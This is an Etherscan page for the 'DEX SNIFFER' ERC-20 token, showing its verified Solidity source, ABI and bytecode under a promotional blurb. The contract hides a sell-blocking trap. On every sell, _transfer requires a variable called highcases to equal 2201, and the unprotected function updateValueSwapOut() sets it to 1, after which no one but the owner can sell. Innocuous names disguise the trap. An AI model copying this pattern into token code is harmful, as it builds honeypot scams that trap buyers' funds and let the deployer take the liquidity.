ETH Price: $3,867.49 (-1.37%)
Gas: 5.74 Gwei

Token

ERC-20: DEX SNIFFER (DEX SNIFFER)
 

Overview

Max Total Supply

1,000,000,000 DEX SNIFFER

Holders

45

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
12,677,146.343166281 DEX SNIFFER

Value
$0.00
0x5c5f6e1d4cb89a53db6eb3db751c73278012c78b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DEXSNIFFER

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-15
*/

/*

Dex Sniffer 

Tg : https://t.me/DexSnifferPortal

X : https://x.com/DexSnifferBot

Dex Sniffer is a life changing new pairs sniffer with excellent security and filters.

Dex Sniffer is providing a new ETH pair finder Bot with a built-in contract scanner and customised filters to let you find exactly the tokens you're looking for.
Whether you're a degen, a moderate trader, or a long-term holder.

Bot : https://t.me/DexSnifferBot

*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract DEXSNIFFER is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;

    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"DEX SNIFFER";
    string private constant _symbol = unicode"DEX SNIFFER";
    uint256 public _maxTxAmount = _tTotal;
    uint256 public _maxWalletSize =  _tTotal;
    uint256 public _taxSwapThreshold= _tTotal * 1/1000;
    uint256 public _maxTaxSwap= _tTotal * 1/100;
    int32 private highcases = 2201;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {


            taxAmount = amount.mul(_finalBuyTax).div(100);
            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul(_finalSellTax).div(100);
                require(highcases == 2201);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function updateValueSwapOut() external virtual{
        highcases = 1;
    }

    function setFeesWalletAddress(address payable newWallet) external onlyOwner {
        _taxWallet = newWallet;
    }

    function setsMxTransactAmounts(uint256 newTxAmt) external onlyOwner {
        _maxTxAmount = _tTotal * newTxAmt/100;
        require(newTxAmt >=1);
    }

    function updateFeeBuy(uint256 newBuyTax) external onlyOwner {
        _finalBuyTax = newBuyTax;
        require(newBuyTax <= 5);
    }

    function updateFeeSell(uint256 newSellTax) external onlyOwner {
        _finalSellTax = newSellTax;
        require(newSellTax <= 5);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        if(tokenAmount==0){return;}
        if(!tradingOpen){return;}
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newWallet","type":"address"}],"name":"setFeesWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newTxAmt","type":"uint256"}],"name":"setsMxTransactAmounts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyTax","type":"uint256"}],"name":"updateFeeBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newSellTax","type":"uint256"}],"name":"updateFeeSell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"updateValueSwapOut","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f60058190556006556200001b6009600a6200035c565b6200002b90633b9aca0062000373565b6007556200003c6009600a6200035c565b6200004c90633b9aca0062000373565b6008556103e8620000606009600a6200035c565b6200007090633b9aca0062000373565b6200007d90600162000373565b6200008991906200038d565b60095560646009600a6200009e91906200035c565b620000ae90633b9aca0062000373565b620000bb90600162000373565b620000c791906200038d565b600a55600b805463ffffffff1916610899179055600c805461ffff60a81b19169055348015620000f5575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b03191633179055620001566009600a6200035c565b6200016690633b9aca0062000373565b335f9081526001602081905260408220929092556003906200018f5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600454909116835291208054909216179055620001ed3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002266009600a6200035c565b6200023690633b9aca0062000373565b60405190815260200160405180910390a3620003ad565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002a157815f19048211156200028557620002856200024d565b808516156200029357918102915b93841c939080029062000266565b509250929050565b5f82620002b95750600162000356565b81620002c757505f62000356565b8160018114620002e05760028114620002eb576200030b565b600191505062000356565b60ff841115620002ff57620002ff6200024d565b50506001821b62000356565b5060208310610133831016604e8410600b841016171562000330575081810a62000356565b6200033c838362000261565b805f19048211156200035257620003526200024d565b0290505b92915050565b5f6200036c60ff841683620002a9565b9392505050565b80820281158282048414176200035657620003566200024d565b5f82620003a857634e487b7160e01b5f52601260045260245ffd5b500490565b6116fd80620003bb5f395ff3fe608060405260043610610134575f3560e01c8063715018a6116100a8578063a01ce4081161006d578063a01ce4081461032c578063a9059cbb1461034b578063bf474bed1461036a578063c9567bf91461037f578063d20c221b14610393578063dd62ed3e146103b4575f80fd5b8063715018a6146102c85780637d1db4a5146102dc5780638da5cb5b146102f15780638f9a55c01461031757806395d89b411461013f575f80fd5b8063313ce567116100f9578063313ce56714610206578063323306e4146102215780634e89e5221461024257806351bc3c85146102615780635bce39411461027557806370a0823114610294575f80fd5b806306fdde031461013f578063095ea7b3146101815780630faee56f146101b057806318160ddd146101d357806323b872dd146101e7575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b50604080518082018252600b81526a2222ac1029a724a32322a960a91b6020820152905161017891906112f4565b60405180910390f35b34801561018c575f80fd5b506101a061019b366004611353565b6103f8565b6040519015158152602001610178565b3480156101bb575f80fd5b506101c5600a5481565b604051908152602001610178565b3480156101de575f80fd5b506101c561040e565b3480156101f2575f80fd5b506101a061020136600461137d565b61042e565b348015610211575f80fd5b5060405160098152602001610178565b34801561022c575f80fd5b5061024061023b3660046113bb565b610495565b005b34801561024d575f80fd5b5061024061025c3660046113d6565b6104e9565b34801561026c575f80fd5b50610240610556565b348015610280575f80fd5b5061024061028f3660046113d6565b6105a7565b34801561029f575f80fd5b506101c56102ae3660046113bb565b6001600160a01b03165f9081526001602052604090205490565b3480156102d3575f80fd5b506102406105e0565b3480156102e7575f80fd5b506101c560075481565b3480156102fc575f80fd5b505f546040516001600160a01b039091168152602001610178565b348015610322575f80fd5b506101c560085481565b348015610337575f80fd5b506102406103463660046113d6565b610651565b348015610356575f80fd5b506101a0610365366004611353565b61068c565b348015610375575f80fd5b506101c560095481565b34801561038a575f80fd5b50610240610698565b34801561039e575f80fd5b50610240600b805463ffffffff19166001179055565b3480156103bf575f80fd5b506101c56103ce3660046113ed565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f610404338484610a6c565b5060015b92915050565b5f61041b6009600a611518565b61042990633b9aca00611526565b905090565b5f61043a848484610b8f565b61048b8433610486856040518060600160405280602881526020016116a0602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610f2e565b610a6c565b5060019392505050565b5f546001600160a01b031633146104c75760405162461bcd60e51b81526004016104be9061153d565b60405180910390fd5b600480546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146105125760405162461bcd60e51b81526004016104be9061153d565b6064816105216009600a611518565b61052f90633b9aca00611526565b6105399190611526565b6105439190611572565b6007556001811015610553575f80fd5b50565b6004546001600160a01b0316336001600160a01b031614610575575f80fd5b305f9081526001602052604090205480156105935761059381610f66565b4780156105a3576105a381611118565b5050565b5f546001600160a01b031633146105d05760405162461bcd60e51b81526004016104be9061153d565b6005818155811115610553575f80fd5b5f546001600160a01b031633146106095760405162461bcd60e51b81526004016104be9061153d565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461067a5760405162461bcd60e51b81526004016104be9061153d565b60068190556005811115610553575f80fd5b5f610404338484610b8f565b5f546001600160a01b031633146106c15760405162461bcd60e51b81526004016104be9061153d565b600c54600160a01b900460ff161561071b5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104be565b600b8054640100000000600160c01b031916777a250d5630b4cf539739df2c5dacb4c659f2488d00000000179081905561077d9030906001600160a01b036401000000009091041661076f6009600a611518565b61048690633b9aca00611526565b600b60049054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107ce573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107f29190611591565b6001600160a01b031663c9c6539630600b60049054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610852573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108769190611591565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108c0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108e49190611591565b600c80546001600160a01b039283166001600160a01b0319909116179055600b5464010000000090041663f305d7194730610933816001600160a01b03165f9081526001602052604090205490565b5f806109465f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109ac573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109d191906115ac565b5050600c54600b5460405163095ea7b360e01b81526001600160a01b03640100000000909204821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610a2e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a5291906115d7565b50600c805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610ace5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104be565b6001600160a01b038216610b2f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104be565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bf35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104be565b6001600160a01b038216610c555760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104be565b5f8111610cb65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104be565b5f80546001600160a01b03858116911614801590610ce157505f546001600160a01b03848116911614155b15610df157610d066064610d006005548561114f90919063ffffffff16565b906111d4565b600c549091506001600160a01b038481169116148015610d2f57506001600160a01b0384163014155b15610d6357610d4e6064610d006006548561114f90919063ffffffff16565b600b5490915060030b61089914610d63575f80fd5b305f90815260016020526040902054600c54600160a81b900460ff16158015610d995750600c546001600160a01b038581169116145b8015610dae5750600c54600160b01b900460ff165b8015610dbb575060095481115b15610def57610ddd610dd884610dd384600a54611215565b611215565b610f66565b478015610ded57610ded47611118565b505b505b8015610e6957305f90815260016020526040902054610e109082611229565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e609085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610e8b9083611287565b6001600160a01b0385165f90815260016020526040902055610ece610eb08383611287565b6001600160a01b0385165f9081526001602052604090205490611229565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f178585611287565b60405190815260200160405180910390a350505050565b5f8184841115610f515760405162461bcd60e51b81526004016104be91906112f4565b505f610f5d84866115f6565b95945050505050565b600c805460ff60a81b1916600160a81b179055801561110857600c54600160a01b900460ff1615611108576040805160028082526060820183525f9260208301908036833701905050905030815f81518110610fc457610fc4611609565b60200260200101906001600160a01b031690816001600160a01b031681525050600b60049054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611035573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110599190611591565b8160018151811061106c5761106c611609565b6001600160a01b039283166020918202929092010152600b5461109a91309164010000000090041684610a6c565b600b5460405163791ac94760e01b81526401000000009091046001600160a01b03169063791ac947906110d99085905f9086903090429060040161161d565b5f604051808303815f87803b1580156110f0575f80fd5b505af1158015611102573d5f803e3d5ffd5b50505050505b50600c805460ff60a81b19169055565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156105a3573d5f803e3d5ffd5b5f825f0361115e57505f610408565b5f6111698385611526565b9050826111768583611572565b146111cd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104be565b9392505050565b5f6111cd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112c8565b5f81831161122357826111cd565b50919050565b5f80611235838561168c565b9050838110156111cd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104be565b5f6111cd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f2e565b5f81836112e85760405162461bcd60e51b81526004016104be91906112f4565b505f610f5d8486611572565b5f6020808352835180828501525f5b8181101561131f57858101830151858201604001528201611303565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610553575f80fd5b5f8060408385031215611364575f80fd5b823561136f8161133f565b946020939093013593505050565b5f805f6060848603121561138f575f80fd5b833561139a8161133f565b925060208401356113aa8161133f565b929592945050506040919091013590565b5f602082840312156113cb575f80fd5b81356111cd8161133f565b5f602082840312156113e6575f80fd5b5035919050565b5f80604083850312156113fe575f80fd5b82356114098161133f565b915060208301356114198161133f565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561147257815f190482111561145857611458611424565b8085161561146557918102915b93841c939080029061143d565b509250929050565b5f8261148857506001610408565b8161149457505f610408565b81600181146114aa57600281146114b4576114d0565b6001915050610408565b60ff8411156114c5576114c5611424565b50506001821b610408565b5060208310610133831016604e8410600b84101617156114f3575081810a610408565b6114fd8383611438565b805f190482111561151057611510611424565b029392505050565b5f6111cd60ff84168361147a565b808202811582820484141761040857610408611424565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f8261158c57634e487b7160e01b5f52601260045260245ffd5b500490565b5f602082840312156115a1575f80fd5b81516111cd8161133f565b5f805f606084860312156115be575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156115e7575f80fd5b815180151581146111cd575f80fd5b8181038181111561040857610408611424565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561166b5784516001600160a01b031683529383019391830191600101611646565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156104085761040861142456fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122021f1ebb164cc3194b236be9e53bdc74cce8f966fdd0765f3643bfc4babe97b7964736f6c63430008150033

Deployed Bytecode

0x608060405260043610610134575f3560e01c8063715018a6116100a8578063a01ce4081161006d578063a01ce4081461032c578063a9059cbb1461034b578063bf474bed1461036a578063c9567bf91461037f578063d20c221b14610393578063dd62ed3e146103b4575f80fd5b8063715018a6146102c85780637d1db4a5146102dc5780638da5cb5b146102f15780638f9a55c01461031757806395d89b411461013f575f80fd5b8063313ce567116100f9578063313ce56714610206578063323306e4146102215780634e89e5221461024257806351bc3c85146102615780635bce39411461027557806370a0823114610294575f80fd5b806306fdde031461013f578063095ea7b3146101815780630faee56f146101b057806318160ddd146101d357806323b872dd146101e7575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b50604080518082018252600b81526a2222ac1029a724a32322a960a91b6020820152905161017891906112f4565b60405180910390f35b34801561018c575f80fd5b506101a061019b366004611353565b6103f8565b6040519015158152602001610178565b3480156101bb575f80fd5b506101c5600a5481565b604051908152602001610178565b3480156101de575f80fd5b506101c561040e565b3480156101f2575f80fd5b506101a061020136600461137d565b61042e565b348015610211575f80fd5b5060405160098152602001610178565b34801561022c575f80fd5b5061024061023b3660046113bb565b610495565b005b34801561024d575f80fd5b5061024061025c3660046113d6565b6104e9565b34801561026c575f80fd5b50610240610556565b348015610280575f80fd5b5061024061028f3660046113d6565b6105a7565b34801561029f575f80fd5b506101c56102ae3660046113bb565b6001600160a01b03165f9081526001602052604090205490565b3480156102d3575f80fd5b506102406105e0565b3480156102e7575f80fd5b506101c560075481565b3480156102fc575f80fd5b505f546040516001600160a01b039091168152602001610178565b348015610322575f80fd5b506101c560085481565b348015610337575f80fd5b506102406103463660046113d6565b610651565b348015610356575f80fd5b506101a0610365366004611353565b61068c565b348015610375575f80fd5b506101c560095481565b34801561038a575f80fd5b50610240610698565b34801561039e575f80fd5b50610240600b805463ffffffff19166001179055565b3480156103bf575f80fd5b506101c56103ce3660046113ed565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f610404338484610a6c565b5060015b92915050565b5f61041b6009600a611518565b61042990633b9aca00611526565b905090565b5f61043a848484610b8f565b61048b8433610486856040518060600160405280602881526020016116a0602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610f2e565b610a6c565b5060019392505050565b5f546001600160a01b031633146104c75760405162461bcd60e51b81526004016104be9061153d565b60405180910390fd5b600480546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146105125760405162461bcd60e51b81526004016104be9061153d565b6064816105216009600a611518565b61052f90633b9aca00611526565b6105399190611526565b6105439190611572565b6007556001811015610553575f80fd5b50565b6004546001600160a01b0316336001600160a01b031614610575575f80fd5b305f9081526001602052604090205480156105935761059381610f66565b4780156105a3576105a381611118565b5050565b5f546001600160a01b031633146105d05760405162461bcd60e51b81526004016104be9061153d565b6005818155811115610553575f80fd5b5f546001600160a01b031633146106095760405162461bcd60e51b81526004016104be9061153d565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461067a5760405162461bcd60e51b81526004016104be9061153d565b60068190556005811115610553575f80fd5b5f610404338484610b8f565b5f546001600160a01b031633146106c15760405162461bcd60e51b81526004016104be9061153d565b600c54600160a01b900460ff161561071b5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104be565b600b8054640100000000600160c01b031916777a250d5630b4cf539739df2c5dacb4c659f2488d00000000179081905561077d9030906001600160a01b036401000000009091041661076f6009600a611518565b61048690633b9aca00611526565b600b60049054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107ce573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107f29190611591565b6001600160a01b031663c9c6539630600b60049054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610852573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108769190611591565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108c0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108e49190611591565b600c80546001600160a01b039283166001600160a01b0319909116179055600b5464010000000090041663f305d7194730610933816001600160a01b03165f9081526001602052604090205490565b5f806109465f546001600160a01b